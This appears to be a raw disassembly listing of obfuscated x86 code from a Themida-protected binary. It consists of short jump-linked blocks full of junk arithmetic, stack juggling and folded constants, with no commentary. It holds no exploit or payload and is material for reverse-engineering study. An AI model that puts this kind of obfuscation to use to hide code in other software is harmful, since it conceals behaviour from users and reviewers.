loc_563082:				; CODE XREF: Themida_:0056BBBCj
		xchg	edi, [esp]
		push	edi
		not	dword ptr [esp]
		jmp	loc_5696B2
; ---------------------------------------------------------------------------


loc_56308E:				; CODE XREF: Themida_:0055FAFDj
		mov	[esp], edi
		xchg	ebp, [esp]
		not	ebp
		jmp	loc_56D7AF
; ---------------------------------------------------------------------------


loc_56309B:				; CODE XREF: Themida_:0056FCB5j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5738D2
; ---------------------------------------------------------------------------


loc_5630B8:				; CODE XREF: Themida_:00570C9Dj
		pop	eax
		xor	eax, 7BCB2EC4h
		sub	eax, 793E6D8Bh
		mov	ecx, eax
		jmp	loc_56712B
; ---------------------------------------------------------------------------


loc_5630CA:				; CODE XREF: Themida_:005725D0j
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	5DD7h
		mov	[esp], ebx
		mov	bl, 56h
		sub	bl, 91h
		sub	bl, 6Bh
		xor	bl, 0B1h
		and	bl, 4Ch
		jmp	loc_5672DB
; ---------------------------------------------------------------------------


loc_5630EC:				; CODE XREF: Themida_:005712ECj
		sub	esp, 4
		jmp	loc_56E400
; ---------------------------------------------------------------------------


loc_5630F4:				; CODE XREF: Themida_:00571102j
		xor	cl, 4Eh
		inc	cl
		jmp	loc_569A8C
; ---------------------------------------------------------------------------


loc_5630FE:				; CODE XREF: Themida_:0056F768j
		or	ebp, 567F312Fh
		jmp	loc_569B50
; ---------------------------------------------------------------------------


loc_563109:				; CODE XREF: Themida_:0056DF69j
		push	3CA84212h
		pop	edx
		add	edx, 0C357BDF0h
		jmp	loc_57083B
; ---------------------------------------------------------------------------


loc_56311A:				; CODE XREF: Themida_:00564DE6j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		shl	ebp, 6
		add	ebp, 2A06144h
		mov	edx, ebp
		mov	ebp, [esp]
		jmp	loc_56B1C7
; ---------------------------------------------------------------------------


loc_563134:				; CODE XREF: Themida_:0056CFA6j
		push	dword ptr [esp]
		pop	edx
		jmp	loc_56291C
; ---------------------------------------------------------------------------


loc_56313D:				; CODE XREF: Themida_:0056DAF6j
		mov	ebx, 6A501FB2h
		push	edx
		mov	edx, 753B66CCh
		add	edx, 22886AF4h
		jmp	loc_5714F0
; ---------------------------------------------------------------------------


loc_563153:				; CODE XREF: Themida_:005705B4j
		add	ebp, eax
		push	dword ptr [esp]
		pop	eax
		jmp	loc_573535
; ---------------------------------------------------------------------------


loc_56315E:				; CODE XREF: Themida_:00569B35j
		xor	edx, esi
		pop	esi
		sub	edx, 6121736h
		jmp	loc_56A6A7
; ---------------------------------------------------------------------------


loc_56316C:				; CODE XREF: Themida_:0056FAF4j
		mov	cl, 0CDh
		xor	cl, 22h
		sub	bh, cl
		pop	ecx
		xor	bh, 0A2h
		sub	cl, bh
		pop	ebx
		jmp	loc_56D8A5
; ---------------------------------------------------------------------------


loc_56317F:				; CODE XREF: Themida_:00569E41j
		pop	ebp
		pop	eax
		add	eax, 6FD94BC0h
		pop	ecx
		jmp	loc_57430A
; ---------------------------------------------------------------------------


loc_56318C:				; CODE XREF: Themida_:0056CA50j
		mov	[esp], ax
		jmp	loc_5673E7
; ---------------------------------------------------------------------------


loc_563195:				; CODE XREF: Themida_:00572657j
		push	dword ptr [esp]
		jmp	loc_574439
; ---------------------------------------------------------------------------


loc_56319D:				; CODE XREF: Themida_:00569ED2j
		add	ebp, edi
		pop	edi
		add	ebp, 4
		jmp	loc_56483F
; ---------------------------------------------------------------------------


loc_5631AB:				; CODE XREF: Themida_:00573565j
		xchg	ebx, [esp]
		pop	esp
		add	esp, 4
		add	edx, 4
		push	ebx
		mov	ebx, 2
		add	edx, ebx
		jmp	loc_56F3DF
; ---------------------------------------------------------------------------


loc_5631C8:				; CODE XREF: Themida_:00566A8Aj
		xor	ebp, edx
		pop	edx
		sub	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	edi, ecx
		jmp	loc_566F20
; ---------------------------------------------------------------------------


loc_5631DA:				; CODE XREF: Themida_:00566DEAj
		push	edx
		jmp	loc_571C7E
; ---------------------------------------------------------------------------


loc_5631E0:				; CODE XREF: Themida_:005693B0j
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		and	eax, edi
		jmp	loc_56E428
; ---------------------------------------------------------------------------


loc_5631EE:				; CODE XREF: Themida_:0055FB6Dj
		pop	ebp
		jmp	loc_56EB45
; ---------------------------------------------------------------------------


loc_5631F4:				; CODE XREF: Themida_:00572029j
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4A4D227Ah
		add	esi, 0F2B609Bh
		add	esi, 0FDC7DF68h
		add	ecx, esi
		pop	esi
		add	ecx, ebx
		sub	ecx, 5740627Dh
		pop	ebx
		add	ecx, 444FF17Fh
		jmp	loc_56864F
; ---------------------------------------------------------------------------


loc_563225:				; CODE XREF: Themida_:00566BD5j
		sub	ecx, 0F851B2E8h
		mov	eax, ecx
		pop	ecx
		jmp	loc_56B148
; ---------------------------------------------------------------------------


loc_563233:				; CODE XREF: Themida_:00567598j
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_56323D:				; CODE XREF: Themida_:00562A4Cj
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 666E0E9Bh
		mov	esi, eax
		jmp	loc_570E88
; ---------------------------------------------------------------------------


loc_563252:				; CODE XREF: Themida_:005671B9j
		xor	esi, 85756A5h
		add	eax, 2B047E66h
		push	esi
		mov	esi, 736F6F92h
		add	eax, esi
		pop	esi
		add	eax, esi
		sub	eax, 736F6F92h
		sub	eax, 2B047E66h
		jmp	loc_5640DA
; ---------------------------------------------------------------------------


loc_563277:				; CODE XREF: Themida_:005613D1j
		push	dword ptr [esp]
		jmp	loc_569B3A
; ---------------------------------------------------------------------------


loc_56327F:				; CODE XREF: Themida_:00570E17j
		add	eax, ecx
		mov	ecx, [esp]
		jmp	loc_566A2F
; ---------------------------------------------------------------------------


loc_563289:				; CODE XREF: Themida_:00567F33j
		mov	dword ptr [edi+24h], 7BEA036Dh
		push	ebx
		push	edi
		mov	edi, 1FC737A4h
		mov	ebx, 1FC737C8h
		sub	ebx, edi
		pop	edi
		add	ebx, edi
		jmp	loc_56AD65
; ---------------------------------------------------------------------------


loc_5632A6:				; CODE XREF: Themida_:0056B78Ej
		not	esi
		dec	esi
		push	72FFh
		mov	[esp], edi
		mov	edi, 658C3CECh
		add	edi, 720D4250h
		shl	edi, 3
		add	edi, 2BFD41BDh
		jmp	loc_567260
; ---------------------------------------------------------------------------


loc_5632CA:				; CODE XREF: Themida_:0056EEA9j
		pop	ecx
		mov	eax, [esp]
		add	esp, 4


loc_5632D1:				; CODE XREF: Themida_:0056E859j
		push	ebx
		jmp	loc_571B2E
; ---------------------------------------------------------------------------


loc_5632D7:				; CODE XREF: Themida_:00561D50j
		mov	esp, [esp]
		push	eax
		jmp	loc_561265
; ---------------------------------------------------------------------------


loc_5632E0:				; CODE XREF: Themida_:00568F1Bj
		sub	edi, eax
		pop	eax
		pop	ebp
		add	edi, edx
		add	edi, 5D52FC4h
		pop	edx
		xchg	edi, [esp]
		pop	esp
		mul	ecx
		push	ecx
		jmp	loc_5734E3
; ---------------------------------------------------------------------------


loc_5632F9:				; CODE XREF: Themida_:00561FB2j
		pop	ebp
		jmp	loc_560601
; ---------------------------------------------------------------------------


loc_5632FF:				; CODE XREF: Themida_:0056459Aj
		add	ecx, ebx
		jmp	loc_572CB9
; ---------------------------------------------------------------------------


loc_563306:				; CODE XREF: Themida_:00560E31j
		sub	edi, 4
		jmp	loc_56DF3A
; ---------------------------------------------------------------------------


loc_56330E:				; CODE XREF: Themida_:0057475Ej
		mov	edi, 4
		sub	eax, edi
		pop	edi
		jmp	loc_567FE6
; ---------------------------------------------------------------------------


loc_56331B:				; CODE XREF: Themida_:0056A4DEj
		pop	ebp
		dec	ecx
		dec	ecx
		inc	ecx
		add	ecx, 14A81EEAh
		mov	edx, ecx
		jmp	loc_5629CE
; ---------------------------------------------------------------------------


loc_56332C:				; CODE XREF: Themida_:005709C1j
		xor	edi, 0C8EA9D2Fh
		xor	ebp, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		shl	ebp, 8
		jmp	loc_56A808
; ---------------------------------------------------------------------------


loc_563343:				; CODE XREF: Themida_:0056369Cj
		push	esi
		jmp	loc_56E942
; ---------------------------------------------------------------------------


loc_563349:				; CODE XREF: Themida_:0056A999j
		shr	eax, 4
		not	eax
		xor	eax, 2AF78C2h
		and	eax, 4762196Ah
		not	eax
		push	edx
		mov	edx, 24226FA0h
		add	edx, 0FFFFFFFFh
		shl	edx, 3
		add	edx, 71964C48h
		jmp	loc_569504
; ---------------------------------------------------------------------------


loc_563371:				; CODE XREF: Themida_:0056D5AFj
		mov	ecx, 4
		push	ecx
		jmp	loc_560B18
; ---------------------------------------------------------------------------


loc_56337C:				; CODE XREF: Themida_:0056F6C0j
		mov	[esp], ecx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_56ADFF
; ---------------------------------------------------------------------------


loc_563390:				; CODE XREF: Themida_:00568EC1j
		pop	esp
		push	edi
		mov	edi, 4
		jmp	loc_56B35D
; ---------------------------------------------------------------------------


loc_56339C:				; CODE XREF: Themida_:00566B63j
		mov	edi, 37280641h
		add	ebx, edi
		jmp	loc_56D813
; ---------------------------------------------------------------------------


loc_5633A8:				; CODE XREF: Themida_:0056D1B6j
		push	eax
		mov	eax, 3C6540A3h
		mov	edi, 104825FCh
		add	edi, 3C8C3210h
		sub	edi, 55765193h
		sub	edi, 78464095h
		add	edi, 4AD041Ah
		add	edi, eax
		sub	edi, 4AD041Ah
		add	edi, 78464095h
		add	edi, 55765193h
		sub	edi, 3C8C3210h
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5670BD
; ---------------------------------------------------------------------------


loc_5633F3:				; CODE XREF: Themida_:0057391Fj
		mov	edx, [esp]
		push	124h
		jmp	loc_56FEF0
; ---------------------------------------------------------------------------


loc_563400:				; CODE XREF: Themida_:0056FF0Ej
		mov	edi, 0B980FB5h
		xor	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_574567
; ---------------------------------------------------------------------------


loc_563412:				; CODE XREF: Themida_:0056262Cj
		mov	[esp], edi
		push	edx
		mov	edx, 602D0F1Dh
		sub	edx, 60DF4C5Bh
		or	edx, 0FBE56B3h
		xor	edx, 0DD76EAE2h
		mov	edi, edx
		jmp	loc_560CDE
; ---------------------------------------------------------------------------


loc_563434:				; CODE XREF: Themida_:0056B4BBj
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		push	esp
		jmp	loc_567FBC
; ---------------------------------------------------------------------------


loc_563443:				; CODE XREF: Themida_:0056F75Dj
		or	ebp, 9C65ECCh
		push	esi
		jmp	loc_5621D9
; ---------------------------------------------------------------------------


loc_56344F:				; CODE XREF: Themida_:005655B6j
		push	edi
		mov	edi, ecx
		jmp	loc_57344E
; ---------------------------------------------------------------------------


loc_563457:				; CODE XREF: Themida_:005718FFj
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 26B15C1h
		sub	ecx, 0B8A1B98Bh
		neg	ecx
		jmp	loc_57404C
; ---------------------------------------------------------------------------


loc_563472:				; CODE XREF: Themida_:0056E27Fj
		add	cx, 921Eh
		xor	dx, cx
		pop	ecx
		jmp	loc_560520
; ---------------------------------------------------------------------------


loc_563480:				; CODE XREF: Themida_:0056E5C4j
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		jmp	loc_560F1D
; ---------------------------------------------------------------------------


loc_56348B:				; CODE XREF: Themida_:00560919j
		pop	eax
		push	ebp
		mov	ebp, 4CD91412h
		and	ebp, 44686583h
		shr	ebp, 1
		dec	ebp
		not	ebp
		jmp	loc_56BC35
; ---------------------------------------------------------------------------


loc_5634A2:				; CODE XREF: Themida_:005683AAj
		sub	edi, 1EA642C7h
		mov	esi, [esp]
		jmp	loc_566F88
; ---------------------------------------------------------------------------


loc_5634B0:				; CODE XREF: Themida_:005703D3j
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5601F1
; ---------------------------------------------------------------------------


loc_5634BB:				; CODE XREF: Themida_:0056D35Cj
		or	esi, 26C17154h
		sub	esi, 379F7010h
		add	esi, edx
		jmp	loc_563F0E
; ---------------------------------------------------------------------------


loc_5634CE:				; CODE XREF: Themida_:005613F9j
		add	esp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_5735B5
; ---------------------------------------------------------------------------


loc_5634DF:				; CODE XREF: Themida_:00570697j
		mov	cx, [esp]
		jmp	loc_56E562
; ---------------------------------------------------------------------------


loc_5634E8:				; CODE XREF: Themida_:00571F28j
		xor	[esp], ebx
		jmp	loc_564502
; ---------------------------------------------------------------------------


loc_5634F0:				; CODE XREF: Themida_:00565064j
		sub	esi, 1C5A8B8h
		sub	ebx, esi
		jmp	loc_56F844
; ---------------------------------------------------------------------------


loc_5634FD:				; CODE XREF: Themida_:00572C2Dj
		add	[esp+4], ebx
		pop	ebx
		pop	dword ptr [esp]
		push	53F4h
		jmp	loc_56445D
; ---------------------------------------------------------------------------
		align 10h
		enter	5966h, 2Ch
		mov	al, 0
		fadd	dword ptr [eax+esi*4]
		sub	esp, 2
		mov	[esp], bx
		push	0DE4h
		mov	[esp], eax
		jmp	loc_55F830
; ---------------------------------------------------------------------------


loc_56352D:				; CODE XREF: Themida_:00570F49j
		push	dword ptr [esp]
		pop	ebx
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	ebx
		mov	ebx, 3853F3Ch
		jmp	loc_564BB2
; ---------------------------------------------------------------------------


loc_56354D:				; CODE XREF: Themida_:0057387Cj
		mov	eax, 2
		add	ebx, eax
		pop	eax
		sub	esp, 4
		mov	[esp], ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_564BC2
; ---------------------------------------------------------------------------


loc_56356D:				; CODE XREF: Themida_:005704DCj
		pop	esp
		mov	[esp], edi
		jmp	loc_56B441
; ---------------------------------------------------------------------------


loc_563576:				; CODE XREF: Themida_:005738B2j
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		jmp	loc_56D1D1
; ---------------------------------------------------------------------------


loc_56358A:				; CODE XREF: Themida_:0056B534j
		pop	edi
		push	esi
		mov	esi, esp
		push	eax
		push	esi
		mov	esi, 3F8B6AA2h
		not	esi
		dec	esi
		add	esi, 127E4898h
		dec	esi
		xor	esi, 0D2F2DDF7h
		mov	eax, esi
		jmp	loc_5706FA
; ---------------------------------------------------------------------------


loc_5635AC:				; CODE XREF: Themida_:00563866j
		add	ecx, 117B6062h
		add	ecx, ebx
		sub	ecx, 117B6062h
		pop	ebx
		and	ecx, 0FCB747Dh
		not	ecx
		inc	ecx
		sub	ecx, 0DA98656Dh
		xor	ecx, 12411858h
		xor	ecx, 5DE82916h
		jmp	loc_5667E2
; ---------------------------------------------------------------------------


loc_5635DB:				; CODE XREF: Themida_:00572352j
		xchg	esi, [esp]
		pop	esp
		mov	[esp], cx
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_5635E8:				; CODE XREF: Themida_:00561F26j
		mov	esp, [esp]
		jmp	loc_568422
; ---------------------------------------------------------------------------


loc_5635F0:				; CODE XREF: Themida_:0056A0AAj
		pop	edi
		sub	eax, 3BF31C08h
		sub	eax, 75465E97h
		add	eax, esi
		add	eax, 75465E97h
		push	edx
		mov	edx, 3BF31C08h
		add	eax, edx
		pop	edx
		jmp	loc_561A94
; ---------------------------------------------------------------------------


loc_563610:				; CODE XREF: Themida_:005610E0j
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_567577
; ---------------------------------------------------------------------------


loc_563623:				; CODE XREF: Themida_:0056603Aj
		push	eax
		push	2E0F4428h
		pop	eax
		push	eax
		not	dword ptr [esp]
		pop	eax
		jmp	loc_56B118
; ---------------------------------------------------------------------------


loc_563634:				; CODE XREF: Themida_:00572D8Dj
		push	ecx
		push	6BCE7C5Eh
		pop	ecx
		jmp	loc_572EE9
; ---------------------------------------------------------------------------


loc_563640:				; CODE XREF: Themida_:0056475Cj
		add	esi, ebp
		add	esi, 2ED43AA3h
		pop	ebp
		push	ebp
		jmp	loc_56177C
; ---------------------------------------------------------------------------


loc_56364F:				; CODE XREF: Themida_:00572A7Dj
		add	ch, 0EDh
		sub	al, ch
		pop	ecx
		push	dword ptr [esp]
		pop	edx
		jmp	loc_56BA20
; ---------------------------------------------------------------------------
		neg	byte ptr [esp]
		pushf
		jmp	loc_560926
; ---------------------------------------------------------------------------


loc_563667:				; CODE XREF: Themida_:00561A30j
		add	eax, 4
		xor	eax, [esp]
		jmp	loc_567FB4
; ---------------------------------------------------------------------------


loc_563672:				; CODE XREF: Themida_:0056CED0j
		xor	edx, 598C0C5Fh
		add	edi, edx
		pop	edx
		pop	edx
		jmp	loc_560E3E
; ---------------------------------------------------------------------------


loc_563681:				; CODE XREF: Themida_:005617EDj
		add	esp, 4
		jmp	loc_5744C1
; ---------------------------------------------------------------------------


loc_56368C:				; CODE XREF: Themida_:00570512j
		mov	esp, [esp]
		movzx	ecx, ax
		jmp	loc_56E165
; ---------------------------------------------------------------------------


loc_563697:				; CODE XREF: Themida_:00567322j
		xor	eax, ebp
		pop	ebp
		push	ecx
		push	edx
		jmp	loc_563343
; ---------------------------------------------------------------------------


loc_5636A1:				; CODE XREF: Themida_:0056AE27j
		sub	esp, 4
		mov	[esp], ebx
		mov	bl, 0A2h
		jmp	loc_573DDC
; ---------------------------------------------------------------------------


loc_5636B1:				; CODE XREF: Themida_:0056B960j
		mov	ebp, 42D10AC4h
		not	ebp
		jmp	loc_568C00
; ---------------------------------------------------------------------------


loc_5636BD:				; CODE XREF: Themida_:00561898j
		mov	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	ecx, eax
		jmp	loc_56FADC
; ---------------------------------------------------------------------------


loc_5636CC:				; CODE XREF: Themida_:00571D04j
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		mov	ebx, ebp
		pop	ebp
		push	ebx
		mov	ebx, 0C1F28C7h
		sub	eax, ebx
		jmp	loc_5638B4
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	1F69h
		mov	[esp], edi
		jmp	loc_56C649
; ---------------------------------------------------------------------------


loc_5636F7:				; CODE XREF: Themida_:005737BCj
		mov	eax, 4E7457A3h
		jmp	loc_5666B6
; ---------------------------------------------------------------------------


loc_563701:				; CODE XREF: Themida_:005701ACj
		shl	esi, 7
		add	esi, 0FCF23373h
		mov	ebp, esi
		pop	esi
		push	ecx
		push	3A450A6Dh
		pop	ecx
		jmp	loc_5700F4
; ---------------------------------------------------------------------------


loc_563719:				; CODE XREF: Themida_:005624E1j
		push	edi
		jmp	loc_561FD3
; ---------------------------------------------------------------------------


loc_56371F:				; CODE XREF: Themida_:005732A2j
		pop	ebx
		add	ebx, 0FFFFFFFFh
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 21CF566Bh
		or	ebx, edx
		pop	edx
		add	ebx, 11E4F240h
		mov	edx, ebx
		pop	ebx
		xchg	eax, edx
		jmp	loc_56ECA1
; ---------------------------------------------------------------------------


loc_563746:				; CODE XREF: Themida_:0056540Ej
		sub	esi, 434D74ECh
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		add	esi, eax
		push	edi
		mov	edi, 1FD44AFh
		add	esi, 3A43469Bh
		sub	esi, edi
		sub	esi, 3A43469Bh
		jmp	loc_55FF12
; ---------------------------------------------------------------------------


loc_563771:				; CODE XREF: Themida_:005641F4j
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_56817F
; ---------------------------------------------------------------------------


loc_563782:				; CODE XREF: Themida_:0056B6A5j
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		jmp	loc_56FD47
; ---------------------------------------------------------------------------


loc_56379C:				; CODE XREF: Themida_:0056DBCEj
		pop	edi
		jmp	loc_56BBA1
; ---------------------------------------------------------------------------


loc_5637A2:				; CODE XREF: Themida_:005733C0j
		mov	ebx, 7A9E6624h
		shr	ebx, 3
		shl	ebx, 1
		xor	ebx, 14DE7D2Eh
		add	ebx, 0CBC8DA1h
		xor	edx, ebx
		pop	ebx
		jmp	loc_573958
; ---------------------------------------------------------------------------


loc_5637C0:				; CODE XREF: Themida_:00560307j
		pop	ebx
		jmp	loc_56A50F
; ---------------------------------------------------------------------------


loc_5637C6:				; CODE XREF: Themida_:00566669j
		push	small 28DFh
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_55F55C
; ---------------------------------------------------------------------------
		pop	dword ptr [edx]
		jmp	loc_55F55C
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_560E85
; ---------------------------------------------------------------------------


loc_5637E9:				; CODE XREF: Themida_:00562929j
		mov	ebx, ebp
		pop	ebp
		xor	edx, ebx
		jmp	loc_567172
; ---------------------------------------------------------------------------


loc_5637F3:				; CODE XREF: Themida_:005616FEj
		mov	edi, esp
		jmp	loc_565D92
; ---------------------------------------------------------------------------


loc_5637FA:				; CODE XREF: Themida_:00562E16j
		mov	edi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_56D361
; ---------------------------------------------------------------------------


loc_563809:				; CODE XREF: Themida_:00562381j
		xor	edi, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_569746
; ---------------------------------------------------------------------------


loc_563817:				; CODE XREF: Themida_:005601BFj
		add	esp, 4
		xor	ebx, eax
		sub	esp, 2
		mov	[esp], bx
		push	cx
		sub	esp, 4
		mov	[esp], eax
		mov	al, 0Fh
		mov	ch, 70h
		push	edx
		mov	dh, 0EFh
		sub	dh, 0A0h
		dec	dh
		inc	dh
		xor	dh, 0ECh
		jmp	loc_570717
; ---------------------------------------------------------------------------


loc_563847:				; CODE XREF: Themida_:0056267Bj
		push	esi
		jmp	loc_560490
; ---------------------------------------------------------------------------


loc_56384D:				; CODE XREF: Themida_:0056B32Cj
		mov	dh, bh
		jmp	loc_561DC7
; ---------------------------------------------------------------------------


loc_563854:				; CODE XREF: Themida_:00565DE6j
		pop	esp
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_56AF30
; ---------------------------------------------------------------------------


loc_56385F:				; CODE XREF: Themida_:0056C57Ej
		pop	edx
		push	ebx
		mov	ebx, 500509BFh
		jmp	loc_5635AC
; ---------------------------------------------------------------------------


loc_56386B:				; CODE XREF: Themida_:0056CC82j
		push	edi
		mov	edi, 4FF32D82h
		sub	edx, edi
		pop	edi
		jmp	loc_56020F
; ---------------------------------------------------------------------------


loc_563879:				; CODE XREF: Themida_:0056939Dj
		sub	edi, 2A4469EDh
		add	edi, ebx
		add	edi, 2A4469EDh
		push	7510h
		mov	[esp], edx
		mov	edx, 53310F2Bh
		not	edx
		jmp	loc_5702CB
; ---------------------------------------------------------------------------


loc_56389B:				; CODE XREF: Themida_:0056C8CDj
		sub	al, 22h
		pop	ecx
		jmp	loc_572B07
; ---------------------------------------------------------------------------


loc_5638A3:				; CODE XREF: Themida_:0056A273j
		sub	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_56D7C6
; ---------------------------------------------------------------------------


loc_5638B4:				; CODE XREF: Themida_:005636E1j
		pop	ebx
		sub	eax, ebx
		push	ebp
		mov	ebp, 137D0F57h
		push	11CCh
		mov	[esp], edx
		push	ebp
		jmp	loc_567105
; ---------------------------------------------------------------------------


loc_5638CB:				; CODE XREF: Themida_:00561549j
		add	eax, ebx
		push	204Bh
		mov	[esp], esi
		push	55706CBFh
		pop	esi
		add	esi, 0C6D8CECDh
		push	esi
		mov	esi, 21DB29EAh
		add	eax, esi
		pop	esi
		jmp	loc_563CDD
; ---------------------------------------------------------------------------


loc_5638EF:				; CODE XREF: Themida_:005676AFj
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_56C025
; ---------------------------------------------------------------------------


loc_563906:				; CODE XREF: Themida_:005746C4j
		add	esp, 4
		push	edx
		jmp	loc_572A82
; ---------------------------------------------------------------------------


loc_56390F:				; CODE XREF: Themida_:0056CEABj
		add	ebx, 4
		jmp	loc_569ADD
; ---------------------------------------------------------------------------


loc_56391A:				; CODE XREF: Themida_:005733BAj
		mov	ah, 0CDh
		sub	bl, ah
		jmp	loc_561285
; ---------------------------------------------------------------------------


loc_563923:				; CODE XREF: Themida_:005720B3j
		inc	bh
		neg	bh
		xor	bh, 11h
		jmp	loc_570AF3
; ---------------------------------------------------------------------------


loc_56392F:				; CODE XREF: Themida_:0056A066j
		shl	esi, 8
		push	edx
		jmp	loc_571B3C
; ---------------------------------------------------------------------------


loc_563938:				; CODE XREF: Themida_:0056CD57j
		xchg	ebp, [esp]
		jmp	loc_570A32
; ---------------------------------------------------------------------------


loc_563940:				; CODE XREF: Themida_:005719F3j
		mov	esp, [esp]
		xor	[esp], al
		pushf
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_56394C:				; CODE XREF: Themida_:0056276Fj
		push	esi
		mov	esi, esp
		add	esi, 4
		push	ebp
		mov	ebp, 4
		sub	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		xchg	esi, [esp]
		jmp	loc_564287
; ---------------------------------------------------------------------------


loc_56396B:				; CODE XREF: Themida_:00567FAFj
		push	esi
		mov	esi, 589F474Ch
		sub	eax, esi
		pop	esi
		sub	eax, edi
		add	eax, 589F474Ch
		jmp	loc_56CCD6
; ---------------------------------------------------------------------------


loc_563980:				; CODE XREF: Themida_:00569726j
		mov	edx, [esp]
		push	edx
		jmp	loc_5605ED
; ---------------------------------------------------------------------------


loc_563989:				; CODE XREF: Themida_:00566D64j
		xor	eax, 78D5142Dh
		xor	eax, 0D84D6F8Bh
		jmp	loc_562DDC
; ---------------------------------------------------------------------------


loc_563998:				; CODE XREF: Themida_:00566CF5j
		add	edx, 4
		push	ebx
		jmp	loc_56FC6E
; ---------------------------------------------------------------------------


loc_5639A4:				; CODE XREF: Themida_:0056606Cj
		mov	[esp], ebp
		push	ecx
		mov	ecx, 2
		push	ecx
		jmp	loc_57107A
; ---------------------------------------------------------------------------


loc_5639B3:				; CODE XREF: Themida_:00573D90j
		add	ebx, 5E174AF8h
		add	ebx, edi
		sub	ebx, 5E174AF8h
		add	ebx, 4EA55B99h
		pop	edi
		add	ebx, 276F6171h
		add	ebx, 2E3E2116h
		add	ebx, ebp
		sub	ebx, 2E3E2116h
		sub	ebx, 276F6171h
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 5EB3332Dh
		shr	ebp, 4
		jmp	loc_567E08
; ---------------------------------------------------------------------------


loc_5639F5:				; CODE XREF: Themida_:005722D5j
		pop	esp
		bts	[esp], ax
		pushf
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_563A01:				; CODE XREF: Themida_:005738F0j
		add	esp, 4
		jmp	loc_561F6E
; ---------------------------------------------------------------------------


loc_563A0C:				; CODE XREF: Themida_:00564AB3j
		shr	eax, 18h
		xor	eax, ecx
		xor	eax, esi
		xor	esi, eax
		xor	eax, esi
		push	esi
		sub	esp, 4
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	dword ptr [esp]
		pop	ebx
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_56D564
; ---------------------------------------------------------------------------


loc_563A44:				; CODE XREF: Themida_:0056BA8Aj
		push	6C5Dh
		mov	[esp], edx
		push	ebp
		mov	ebp, 4
		mov	edx, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_573047
; ---------------------------------------------------------------------------


loc_563A65:				; CODE XREF: Themida_:0056D67Cj
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5615F8
; ---------------------------------------------------------------------------


loc_563A6E:				; CODE XREF: Themida_:00568DF2j
		push	eax
		mov	eax, ecx
		mov	esi, eax
		pop	eax
		mov	ecx, [esp]
		add	esp, 4
		not	esi
		push	esi
		not	dword ptr [esp]
		pop	esi
		or	esi, 19FE6FC3h
		add	esi, 0A2009005h
		mov	ecx, esi
		pop	esi
		add	edi, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	663h
		jmp	loc_569886
; ---------------------------------------------------------------------------


loc_563AA3:				; CODE XREF: Themida_:00565C59j
		xor	bh, 54h
		neg	bh
		shr	bh, 8
		neg	bh
		sub	bh, 39h
		add	dl, bh
		jmp	loc_55FB35
; ---------------------------------------------------------------------------


loc_563AB7:				; CODE XREF: Themida_:0056A34Fj
		and	eax, 8180A91h
		jmp	loc_56482D
; ---------------------------------------------------------------------------


loc_563AC1:				; CODE XREF: Themida_:00566C86j
		sub	esp, 4
		jmp	loc_5703CC
; ---------------------------------------------------------------------------


loc_563AC9:				; CODE XREF: Themida_:005719B7j
		sub	eax, ecx
		add	eax, 4D2F6C65h
		push	dword ptr [esp]
		jmp	loc_56E269
; ---------------------------------------------------------------------------


loc_563AD8:				; CODE XREF: Themida_:00560E39j
		pop	esp
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	5ABCh
		jmp	loc_5713FD
